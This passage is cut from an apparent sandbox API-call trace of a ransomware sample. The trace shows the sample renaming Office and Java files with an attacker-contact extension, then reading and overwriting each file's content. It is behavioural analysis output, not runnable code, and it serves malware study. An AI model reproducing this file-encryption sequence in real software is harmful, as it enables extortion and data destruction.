GetProcessHeap () returned 0x630000 [0123.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0123.292] GetProcessHeap () returned 0x630000 [0123.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70080a0 | out: hHeap=0x630000) returned 1 [0123.292] GetProcessHeap () returned 0x630000 [0123.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0123.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6ffa25, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xece, dwReserved0=0xb307496, dwReserved1=0x7008098, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP26BD~1.FIR")) returned 0x6d5200 [0123.293] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.293] Sleep (dwMilliseconds=0x1) [0123.347] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 1 [0123.347] GetProcessHeap () returned 0x630000 [0123.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x16c) returned 0x66a3e0 [0123.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0123.372] CloseHandle (hObject=0x4e8) returned 1 [0123.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APE10A~1.FIR")) returned 0x6d5340 [0123.391] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0123.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0123.391] GetProcessHeap () returned 0x630000 [0123.391] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6868e0 [0123.391] GetProcessHeap () returned 0x630000 [0123.391] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x71be9f0 [0123.391] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.391] ReadFile (in: hFile=0x4e8, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x41fff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.040] GetProcessHeap () returned 0x630000 [0124.041] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fc8778 [0124.041] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.041] WriteFile (in: hFile=0x4e8, lpBuffer=0x71be9f0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9f0*, lpNumberOfBytesWritten=0x41fff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.041] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.041] WriteFile (in: hFile=0x4e8, lpBuffer=0x71beecf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71beecf*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.041] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.041] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.041] CloseHandle (hObject=0x4e8) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71be9f0 | out: hHeap=0x630000) returned 1 [0124.057] GetProcessHeap () returned 0x630000 [0124.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0124.057] GetProcessHeap () returned 0x630000 [0124.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc8778 | out: hHeap=0x630000) returned 1 [0124.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe2370c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xb307496, dwReserved1=0x6868d8, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APE10A~1.FIR")) returned 0x6d5500 [0124.366] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0124.366] Sleep (dwMilliseconds=0x1) [0124.382] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties", len=0x35 | out: pbstr=0x41fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 1 [0124.382] GetProcessHeap () returned 0x630000 [0124.382] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x110) returned 0x66a3e0 [0124.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0124.385] CloseHandle (hObject=0x6bc) returned 1 [0124.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0xb5088f32, dwReserved1=0x0, cFileName="net.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETPRO~1.FIR")) returned 0x6d5200 [0124.386] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0124.387] GetProcessHeap () returned 0x630000 [0124.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1181) returned 0x6ed0088 [0124.387] GetProcessHeap () returned 0x630000 [0124.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1181) returned 0x6ed1218 [0124.387] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.387] ReadFile (in: hFile=0x6bc, lpBuffer=0x6ed0088, nNumberOfBytesToRead=0x1160, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed0088*, lpNumberOfBytesRead=0x41fff0c*=0x1160, lpOverlapped=0x0) returned 1 [0124.404] GetProcessHeap () returned 0x630000 [0124.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.404] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.404] WriteFile (in: hFile=0x6bc, lpBuffer=0x6ed1218*, nNumberOfBytesToWrite=0x1160, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed1218*, lpNumberOfBytesWritten=0x41fff0c*=0x1160, lpOverlapped=0x0) returned 1 [0124.405] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.405] WriteFile (in: hFile=0x6bc, lpBuffer=0x6ed2377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2377*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.405] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.405] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.405] CloseHandle (hObject=0x6bc) returned 1 [0124.406] GetProcessHeap () returned 0x630000 [0124.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed1218 | out: hHeap=0x630000) returned 1 [0124.406] GetProcessHeap () returned 0x630000 [0124.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed0088 | out: hHeap=0x630000) returned 1 [0124.406] GetProcessHeap () returned 0x630000 [0124.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x10190a82, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1194, dwReserved0=0xb307496, dwReserved1=0x6ed0080, cFileName="net.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETPRO~1.FIR")) returned 0x6d54c0 [0124.406] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0124.406] Sleep (dwMilliseconds=0x1) [0124.410] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", len=0x3b | out: pbstr=0x41fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 1 [0124.411] GetProcessHeap () returned 0x630000 [0124.411] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x108) returned 0x66a3e0 [0124.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0124.411] CloseHandle (hObject=0x710) returned 1 [0124.411] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.411] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MANAGE~1.FIR")) returned 0x6d52c0 [0124.412] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0124.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0124.412] GetProcessHeap () returned 0x630000 [0124.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e1ea0 [0124.412] GetProcessHeap () returned 0x630000 [0124.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e21d0 [0124.412] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.412] ReadFile (in: hFile=0x710, lpBuffer=0x6e1ea0, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e1ea0*, lpNumberOfBytesRead=0x41fff0c*=0x160, lpOverlapped=0x0) returned 1 [0124.414] GetProcessHeap () returned 0x630000 [0124.414] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.414] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.414] WriteFile (in: hFile=0x710, lpBuffer=0x6e21d0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e21d0*, lpNumberOfBytesWritten=0x41fff0c*=0x160, lpOverlapped=0x0) returned 1 [0124.415] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.415] WriteFile (in: hFile=0x710, lpBuffer=0x6e232f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e232f*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.415] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.415] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.415] CloseHandle (hObject=0x710) returned 1 [0124.416] GetProcessHeap () returned 0x630000 [0124.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e21d0 | out: hHeap=0x630000) returned 1 [0124.416] GetProcessHeap () returned 0x630000 [0124.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e1ea0 | out: hHeap=0x630000) returned 1 [0124.416] GetProcessHeap () returned 0x630000 [0124.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x101b6e7c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x41ffd20, dwReserved1=0x6e1ea0, cFileName="management-agent.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MANAGE~1.FIR")) returned 0x6d5000 [0124.416] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0124.416] Sleep (dwMilliseconds=0x1) [0128.974] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", len=0x36 | out: pbstr=0x41fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 1 [0128.974] GetProcessHeap () returned 0x630000 [0128.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x90) returned 0x66a3e0 [0128.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0128.986] CloseHandle (hObject=0x678) returned 1 [0128.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0130.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0130.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x4a085a18, dwReserved1=0x0, cFileName="nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NASHOR~1.FIR")) returned 0x6d5340 [0130.678] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0130.678] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0130.679] GetProcessHeap () returned 0x630000 [0130.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0130.679] GetProcessHeap () returned 0x630000 [0130.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0130.680] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.680] ReadFile (in: hFile=0x678, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0138.640] GetProcessHeap () returned 0x630000 [0138.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0138.640] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.640] WriteFile (in: hFile=0x678, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0138.640] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 